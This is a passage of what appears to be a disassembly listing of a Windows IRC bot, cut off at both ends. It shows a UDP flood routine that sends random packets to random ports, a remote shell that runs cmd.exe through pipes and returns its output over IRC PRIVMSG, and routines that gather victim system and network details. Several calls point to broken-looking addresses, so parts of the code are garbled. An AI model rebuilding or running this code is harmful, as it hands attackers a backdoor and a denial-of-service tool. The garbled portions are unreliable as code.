eax jle short loc_40B077 mov [ebp+var_3C], eax loc_40B077: ; CODE XREF: sub_40AF86+ECj cmp [ebp+var_38], edi jge short loc_40B07F mov [ebp+var_38], edi loc_40B07F: ; CODE XREF: sub_40AF86+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40B0AC loc_40B086: ; CODE XREF: sub_40AF86+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43F58C inc esi cmp esi, [ebp+var_40] jl short loc_40B086 loc_40B0AC: ; CODE XREF: sub_40AF86+FEj push [ebp+arg_0] call dword_43F720 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DA9C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B0F5 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push ebx call near ptr 25E02EAh nop sub_40AF86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi nop call near ptr 25E08E4h push eax call sub_417302 pop ecx push 11h push 2 push 2 call dword_43F6E8 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B1F7 lea eax, [ebp+var_B0] push eax call dword_43F6EC cmp eax, edi jnz short loc_40B1F0 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB4C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B1D3 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B1D3: ; CODE XREF: sub_40B112+9Fj lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25E02EAh loc_40B1F0: ; CODE XREF: sub_40B112+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B1FA ; --------------------------------------------------------------------------- loc_40B1F7: ; CODE XREF: sub_40B112+6Ej lea eax, [ebp+arg_0] loc_40B1FA: ; CODE XREF: sub_40B112+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B215 call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B218 ; --------------------------------------------------------------------------- loc_40B215: ; CODE XREF: sub_40B112+F0j push [ebp+var_24] loc_40B218: ; CODE XREF: sub_40B112+101j call dword_43F668 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B22A mov [ebp+var_24], esi loc_40B22A: ; CODE XREF: sub_40B112+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B237 mov [ebp+var_24], eax loc_40B237: ; CODE XREF: sub_40B112+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B24B mov [ebp+var_28], esi loc_40B24B: ; CODE XREF: sub_40B112+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B26C loc_40B252: ; CODE XREF: sub_40B112+158j call sub_41730C cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B252 loc_40B26C: ; CODE XREF: sub_40B112+13Ej ; sub_40B112+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B2CB push 0Bh pop esi loc_40B279: ; CODE XREF: sub_40B112+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41730C push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43F6CC push [ebp+var_28] nop call near ptr 25F0439h dec esi jnz short loc_40B279 cmp [ebp+var_24], edi jnz short loc_40B26C call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43F668 mov [ebp+var_E], ax jmp short loc_40B26C ; --------------------------------------------------------------------------- loc_40B2CB: ; CODE XREF: sub_40B112+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB10 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B30B push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B30B: ; CODE XREF: sub_40B112+1D7j lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25E02EAh sub_40B112 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap ; sub_40B390+7Ep ... mov eax, dword_43F9B4 push esi mov esi, dword_424078 cmp eax, 0FFFFFFFFh jz short loc_40B33C push eax call esi loc_40B33C: ; CODE XREF: sub_40B328+Fj mov eax, dword_43F9BC cmp eax, 0FFFFFFFFh jz short loc_40B349 push eax call esi loc_40B349: ; CODE XREF: sub_40B328+1Cj mov eax, dword_43F9B0 cmp eax, 0FFFFFFFFh jz short loc_40B356 push eax call esi loc_40B356: ; CODE XREF: sub_40B328+29j pop esi retn sub_40B328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap ; sub_40EE72+4883p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_417AB0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43F9B8 nop call near ptr 2620000h test eax, eax jnz short loc_40B38B call sub_40B328 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B38B: ; CODE XREF: sub_40B358+28j push 1 pop eax leave retn sub_40B358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B390 proc near ; CODE XREF: sub_40B417+D3p ; sub_40B417+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43C80C push [ebp+arg_4] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40B3D3 push 7D0h call near ptr 25F0439h nop push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4172B0 add esp, 10h jmp short loc_40B3EA ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B390+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4172B0 add esp, 0Ch loc_40B3EA: ; CODE XREF: sub_40B390+41j lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 test eax, eax jg short loc_40B413 call sub_40B328 loc_40B413: ; CODE XREF: sub_40B390+7Cj xor eax, eax leave retn sub_40B390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B417 proc near ; DATA XREF: sub_40B56C+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43F9C0 loc_40B42F: ; CODE XREF: sub_40B417+79j ; sub_40B417+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43F9B4 call near ptr 276046Bh nop test eax, eax jz loc_40B4FD cmp [ebp+var_4], edi jnz short loc_40B492 lea eax, [ebp+var_8] push eax push dword_43F9B0 call near ptr 2760000h nop test eax, eax jz short loc_40B488 cmp [ebp+var_8], 103h jnz loc_40B521 loc_40B488: ; CODE XREF: sub_40B417+62j push 0Ah call near ptr 25F0439h nop jmp short loc_40B42F ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B417+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B4A9 loc_40B499: ; CODE XREF: sub_40B417+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40B4F7 inc eax cmp eax, [ebp+var_4] jb short loc_40B499 loc_40B4A9: ; CODE XREF: sub_40B417+80j mov [ebp+var_4], esi loc_40B4AC: ; CODE XREF: sub_40B417+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43F9B4 nop call near ptr 2611183h test eax, eax jz short loc_40B549 lea eax, [ebp+var_20C] push eax push ebx push dword_43F9F4 call sub_40B390 add esp, 0Ch jmp loc_40B42F ; --------------------------------------------------------------------------- loc_40B4F7: ; CODE XREF: sub_40B417+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B4AC ; --------------------------------------------------------------------------- loc_40B4FD: ; CODE XREF: sub_40B417+45j push offset dword_42DC0C push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push 1 nop call near ptr 25E02EAh loc_40B521: ; CODE XREF: sub_40B417+6Bj call sub_40B328 push offset dword_42DBD4 push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 25E02EAh loc_40B549: ; CODE XREF: sub_40B417+C3j push offset dword_42DB94 push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 25E02EAh sub_40B417 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56C proc near ; CODE XREF: sub_40C351+99p ; sub_40EE72+5774p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B328 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43F724 test eax, eax jz loc_40B666 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_424140 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_40B666 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_40B666 mov edi, dword_42413C push 3 push esi push esi push offset dword_43F9B8 call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 27607E9h test eax, eax jz short loc_40B666 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417330 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43C80C push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 274056Fh nop test eax, eax jnz short loc_40B66E loc_40B666: ; CODE XREF: sub_40B56C+2Fj ; sub_40B56C+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B71C ; --------------------------------------------------------------------------- loc_40B66E: ; CODE XREF: sub_40B56C+F8j push [ebp+var_4] mov edi, dword_424078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43F9B4, eax mov eax, [ebp+var_8] mov dword_43F9BC, eax mov eax, [ebp+var_2C] mov dword_43F9B0, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43F9F4, eax jz short loc_40B6A8 push [ebp+arg_4] jmp short loc_40B6A9 ; --------------------------------------------------------------------------- loc_40B6A8: ; CODE XREF: sub_40B56C+135j push ebx loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj push offset dword_43F9C0 call sub_4172B0 pop ecx pop ecx push esi push 7 push offset dword_42DC90 call sub_416D5C mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4450C8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B417 push esi push esi nop call near ptr 2660D4Bh cmp eax, esi mov dword_4450D4[edi], eax jnz short loc_40B71A nop call near ptr 2630313h push eax lea eax, [ebp+var_378] push offset dword_42DC4C push eax call sub_4172B0 lea eax, [ebp+var_378] push eax call sub_40BF6D add esp, 10h loc_40B71A: ; CODE XREF: sub_40B56C+185j xor eax, eax loc_40B71C: ; CODE XREF: sub_40B56C+FDj pop edi pop esi pop ebx leave retn sub_40B56C endp ; =============== S U B R O U T I N E ======================================= sub_40B721 proc near ; CODE XREF: sub_407110+74p ; sub_40B8D8+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 25E08E4h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43F9FC push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41782A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40B721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B78A proc near ; CODE XREF: sub_409037+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 2771415h test eax, eax jz short loc_40B81D cmp [ebp+var_90], 4 jnz short loc_40B7F3 cmp [ebp+var_8C], esi jnz short loc_40B7DB cmp [ebp+var_84], 1 jnz short loc_40B7CE push 1 pop esi loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj cmp [ebp+var_84], 2 jnz short loc_40B81D push 1 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40B78A+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B7E8 loc_40B7E4: ; CODE XREF: sub_40B78A+78j push 2 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7E8: ; CODE XREF: sub_40B78A+58j cmp [ebp+var_8C], 5Ah jnz short loc_40B81D jmp short loc_40B80D ; --------------------------------------------------------------------------- loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej cmp [ebp+var_90], 5 jnz short loc_40B81D cmp [ebp+var_8C], esi jz short loc_40B7E4 cmp [ebp+var_8C], 1 jnz short loc_40B811 loc_40B80D: ; CODE XREF: sub_40B78A+67j push 3 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B811: ; CODE XREF: sub_40B78A+81j cmp [ebp+var_8C], 2 jnz short loc_40B81D push 7 loc_40B81C: ; CODE XREF: sub_40B78A+4Fj ; sub_40B78A+5Cj ... pop esi loc_40B81D: ; CODE XREF: sub_40B78A+25j ; sub_40B78A+4Bj ... mov eax, esi pop esi leave retn sub_40B78A endp ; =============== S U B R O U T I N E ======================================= sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p push ebx push esi push edi mov esi, 0F4240h loc_40B82A: ; CODE XREF: sub_40B822+2Fj ; sub_40B822+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 25F0439h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_419250 mov edi, edx mov ebx, eax test edi, edi ja short loc_40B82A jb short loc_40B859 cmp ebx, esi ja short loc_40B82A loc_40B859: ; CODE XREF: sub_40B822+31j push 0 push 64h push edi push ebx call sub_4191D0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40B8CC jb short loc_40B878 cmp esi, 50h jnb short loc_40B87D loc_40B878: ; CODE XREF: sub_40B822+4Fj push 4Bh xor edx, edx pop eax loc_40B87D: ; CODE XREF: sub_40B822+54j test ecx, ecx ja short loc_40B8CC jb short loc_40B888 cmp esi, 47h jnb short loc_40B88D loc_40B888: ; CODE XREF: sub_40B822+5Fj push 42h xor edx, edx pop eax loc_40B88D: ; CODE XREF: sub_40B822+64j test ecx, ecx ja short loc_40B8CC jb short loc_40B898 cmp esi, 37h jnb short loc_40B89D loc_40B898: ; CODE XREF: sub_40B822+6Fj push 32h xor edx, edx pop eax loc_40B89D: ; CODE XREF: sub_40B822+74j test ecx, ecx ja short loc_40B8CC jb short loc_40B8A8 cmp esi, 26h jnb short loc_40B8AD loc_40B8A8: ; CODE XREF: sub_40B822+7Fj push 21h xor edx, edx pop eax loc_40B8AD: ; CODE XREF: sub_40B822+84j test ecx, ecx ja short loc_40B8CC jb short loc_40B8B8 cmp esi, 1Eh jnb short loc_40B8BD loc_40B8B8: ; CODE XREF: sub_40B822+8Fj push 19h xor edx, edx pop eax loc_40B8BD: ; CODE XREF: sub_40B822+94j test ecx, ecx ja short loc_40B8CC jb short loc_40B8C8 cmp esi, 0Ah jnb short loc_40B8CC loc_40B8C8: ; CODE XREF: sub_40B822+9Fj xor eax, eax xor edx, edx loc_40B8CC: ; CODE XREF: sub_40B822+4Dj ; sub_40B822+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40B822 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59EEp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43C80C mov [ebp+var_CC], 94h nop call near ptr 2771415h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B95F cmp [ebp+var_C4], ebx jnz short loc_40B93B cmp [ebp+var_BC], 1 jnz short loc_40B925 mov [ebp+var_4], offset a95 ; "95" loc_40B925: ; CODE XREF: sub_40B8D8+44j cmp [ebp+var_BC], 2 jnz loc_40B9DA mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B9AB ; --------------------------------------------------------------------------- loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B94D mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B99B mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B95F: ; CODE XREF: sub_40B8D8+33j cmp [ebp+var_C8], 5 jnz short loc_40B99B cmp [ebp+var_C4], ebx jnz short loc_40B979 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B979: ; CODE XREF: sub_40B8D8+96j cmp [ebp+var_C4], 1 jnz short loc_40B98B mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B98B: ; CODE XREF: sub_40B8D8+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B9A2 loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj ; sub_40B8D8+8Ej mov [ebp+var_4], offset dword_42DDDC loc_40B9A2: ; CODE XREF: sub_40B8D8+73j ; sub_40B8D8+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B9DA loc_40B9AB: ; CODE XREF: sub_40B8D8+61j cmp [ebp+var_B8], bl jz short loc_40B9DA lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42DDD4 push eax call sub_4172B0 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B9DA: ; CODE XREF: sub_40B8D8+54j ; sub_40B8D8+D1j ... mov ax, word_42DDD0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43F554 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40BA13 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj push [ebp+arg_4] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43F620 cmp eax, ebx jz short loc_40BA3C push dword ptr [eax] jmp short loc_40BA41 ; --------------------------------------------------------------------------- loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40BA41: ; CODE XREF: sub_40B8D8+162j lea eax, [ebp+var_3E4] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 25F048Fh lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call near ptr 2660000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2650000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2780000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4192B8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B721 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax call sub_40B822 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB8C proc near ; CODE XREF: sub_40EE72+4557p ; sub_40EE72+5A1Fp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417330 add esp, 0Ch cmp dword_43F750, 0 jnz short loc_40BBF8 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43F538 test eax, eax jnz short loc_40BBE1 lea eax, [ebp+var_8C] push offset dword_42DE50 push eax call sub_4172B0 pop ecx pop ecx loc_40BBE1: ; CODE XREF: sub_40BB8C+40j test [ebp+var_C], 1 jz short loc_40BBEE push offset dword_42DE48 jmp short loc_40BBF3 ; --------------------------------------------------------------------------- loc_40BBEE: ; CODE XREF: sub_40BB8C+59j push offset off_42DE44 loc_40BBF3: ; CODE XREF: sub_40BB8C+60j lea eax, [ebp+var_8] jmp short loc_40BC10 ; --------------------------------------------------------------------------- loc_40BBF8: ; CODE XREF: sub_40BB8C+28j mov esi, offset off_42DE40 lea eax, [ebp+var_8] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj push eax call sub_4172B0 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40BB8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC4B proc near ; DATA XREF: sub_40EE72+4976o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42DF80 call sub_417330 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417330 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417330 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417330 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417330 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_417AB0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43F570 test eax, eax jz loc_40BDE5 cmp [ebp+var_34], ebx jbe short loc_40BD22 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_418C10 add esp, 0Ch loc_40BD22: ; CODE XREF: sub_40BC4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BD40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_418C10 add esp, 0Ch loc_40BD40: ; CODE XREF: sub_40BC4B+DEj cmp [ebp+var_20], ebx jbe short loc_40BD5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_418C10 add esp, 